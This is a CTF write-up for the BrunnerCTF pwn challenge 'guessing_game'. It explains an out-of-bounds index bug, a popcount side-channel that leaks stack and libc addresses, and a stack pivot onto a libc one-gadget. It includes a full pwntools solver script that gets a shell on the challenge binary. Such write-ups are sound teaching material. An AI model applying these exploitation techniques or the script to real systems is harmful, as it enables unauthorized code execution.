← Back to Writeups
PWNHard2026

Pwn — Guessing Game

#oob#stack-pivot#side-channel#one-gadget

Challenge Info

Name: guessing_game
Event: BrunnerCTF
Author: Vincent
Points: 100

Overview

The handout included the challenge binary guessing_game along with the exact libc.so.6 and dynamic loader ld-linux-x86-64.so.2 used by the challenge environment.

$ checksec --file=guessing_game_patched

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY  Fortified   Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   53 Symbols        No        0             3        guessing_game

What the program does ?

When you connect, the game:

1 . Seeds rand() with the current time and fills an array of 10 secret numbers.

2 . Shows you a menu:

Choice:

- 1 → "guess a number": asks for an Index and a Value.

- 0 → "submit email" → ends the game.

3 . For a guess, it does :

c
uint64_t answers[10];          // rbp-0x90 .. rbp-0x41
uint64_t solved   = 0;         // rbp-0x40  (slot 10, right after answers[9])
uint64_t attempted = 0;        // rbp-0x38  (slot 11, right after solved)

read(&index);                  // strtoull, NO range check!
read(&value);

bit = 1ULL << (index & 0x3f);  // bit position is masked to 0-63
attempted |= bit;              // ALWAYS set, win or lose

if (answers[index] == value) { // <-- index is used RAW, unmasked!
    puts("Correct!");
    solved |= bit;
}
else {
    diff = popcount(answers[index] ^ value);
    printf("%d\n", diff);      // tells you HOW WRONG you were
}

The important detail: the bit position used for the mask (index & 0x3f) is masked, but the memory address answers[index] is not controlled. That's the entire bug.

Vulnerability

Index is read with strtoull(), a plain unsigned 64-bit number, no bounds checking against 0–9.

So when the code does answers[index], it's really doing :

address = rbp - 0x90 + index * 8

Since index can be anything from 0 to 2^64-1, this lets us point address almost anywhere in memory relative to the stack frame — before the array, after it, or way off into other stack frames .

On top of that, because solved and attempted are two 8-byte local variables sitting immediately after answers[9] in memory, they are secretly reachable through the same array .

That overlap is what turns this from "just a leak" into a leak AND a write.

IndexAddressWhat it really is
0–9rbp-0x90 .. rbp-0x48the 10 real random answers
10rbp-0x40the solved bitmask
11rbp-0x38the attempted bitmask
12+further up the stackother locals, saved RBP, ret addr

Exploitation

1 — Leaking memory with a "warmer / colder" oracle

We can't directly read memory, but the program tells us how many bits differ between our guess and the real value (popcount(answers[index] ^ value)).

That's an oracle we can abuse bit by bit.

finding_bits(index) does this :

1 . Ask with value = 0 → get base_wrong = number of 1-bits in the real value.

2. For each bit i from 0 to 63:

- Guess value = 1 << i.

- If the current_wrong drops below base_wrong, that bit must be set.

- If it ever hits 0, we found the exact value — done.

3. Repeat for all 64 bits → full 64-bit value reconstructed.

This is basically 20/questions applied to raw memory. Using this, the exploit leaks:

- index = 16 → stack leak → used to compute attempted_addr

- index = 21 → libc leak → subtract fixed offset 0x29ca8 → libc base .

attempted_addr = stack_leak - 0x48
libc.address   = libc_leak  - 0x29ca8

2 — Turning the oracle into a write

Every guess (right or wrong) ORs a bit into attempted (slot 11 / rbp-0x38).

Only a correct guess ORs a bit into solved (slot 10 / rbp-0x40).

So:

- write_attempted(value) — for every bit set in target, send a guess with index & 0x3f equal to that bit. The unconditional OR is enough. After looping, slot 11 equals value.

- write_solved(value) — same idea, but uses finding_bits() for each target bit because we need an actual correct guess.

The exploit plants:

write_solved(p, libc.address)                        # slot 10 = libc base
write_attempted(p, xor_edi_edi_ret, libc.address)    # slot 11 = gadget address

3 — Triggering the pivot

Choice 0 ("submit your email") calls a function that does:

c
puts("Submit your email here...");
fgets(rbp, 8, stdin);   // writes 8 raw bytes AT the saved RBP!

This is a classic stack-pivot primitive:

leave  →  rsp = rbp; pop rbp     (rsp = value we sent)
ret    →  jumps to [rsp]         (jumps to controlled data)

The exploit sends submit(p, attempted_addr - 8), redirecting into the fake chain we planted — landing on a one-gadget (libc.address + 0xddf83) that pops a shell.

Solver

python
from pwn import *

exe = ELF("./guessing_game_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

context.arch = "amd64"
context.log_level = "info"
context.binary = exe


def check(p, index, value):
    p.sendlineafter(b"Choice: ", b"1")
    p.sendlineafter(b"Index: ", str(index).encode())
    p.sendlineafter(b"Value: ", str(value).encode())

    result = p.recvline()

    if b"Correct" in result:
        return 0

    return int(re.search(rb"\d+", result).group())


def finding_bits(p, index):
    base_wrong = check(p, index, 0)

    result = 0

    for i in range(64):
        current = 1 << i

        current_wrong = check(p, index, current)

        if current_wrong == 0:
            return current

        if current_wrong < base_wrong:
            result |= current
    assert check(p, index, result) == 0

    return result


def write_attempted(p, value, solved):

    if (value & solved) != solved:
        return False

    for bit in range(64):
        if (value >> bit) & 1:
            check(p, bit, 0xffffffff)

    return True


def write_solved(p, value):

    required = (1 << 16) | (1 << 21)

    if (value & required) != required:
        return False

    for bit in range(64):
        if (value >> bit) & 1:
            finding_bits(p, bit)

    return True


def submit(p, new_rbp):
    p.sendlineafter(b"Choice: ", b"0")
    p.sendafter(b"impossible.\n", p64(new_rbp))


def exploit():

    p = process(exe.path)

    stack_leak = finding_bits(p, 16)

    attempted_addr = stack_leak - 0x48

    log.success(f"stack leak      : {stack_leak:#x}")
    log.success(f"attempted addr  : {attempted_addr:#x}")

    libc_leak = finding_bits(p, 21)

    libc.address = libc_leak - 0x29ca8

    log.success(f"libc leak       : {libc_leak:#x}")
    log.success(f"libc base       : {libc.address:#x}")

    one_gadget = libc.address + 0xddf83

    xor_edi_edi_ret = libc.address + 0xc8b09

    log.success(f"xor edi; ret    : {xor_edi_edi_ret:#x}")
    log.success(f"one gadget      : {one_gadget:#x}")

    if not write_solved(p, libc.address):
        log.failure("write_solved failed")
        p.close()
        return None

    if not write_attempted(
        p,
        xor_edi_edi_ret,
        libc.address
    ):
        log.failure("write_attempted failed")
        p.close()
        return None

    check(p, 16, one_gadget)

    submit(p, attempted_addr - 8)

    return p


def main():

    while True:

        p = exploit()

        if p is not None:
            break

        log.warning("exploit attempt failed, retrying...")

    p.interactive()


if __name__ == "__main__":
    main()

Flag

brunner{REDACTED}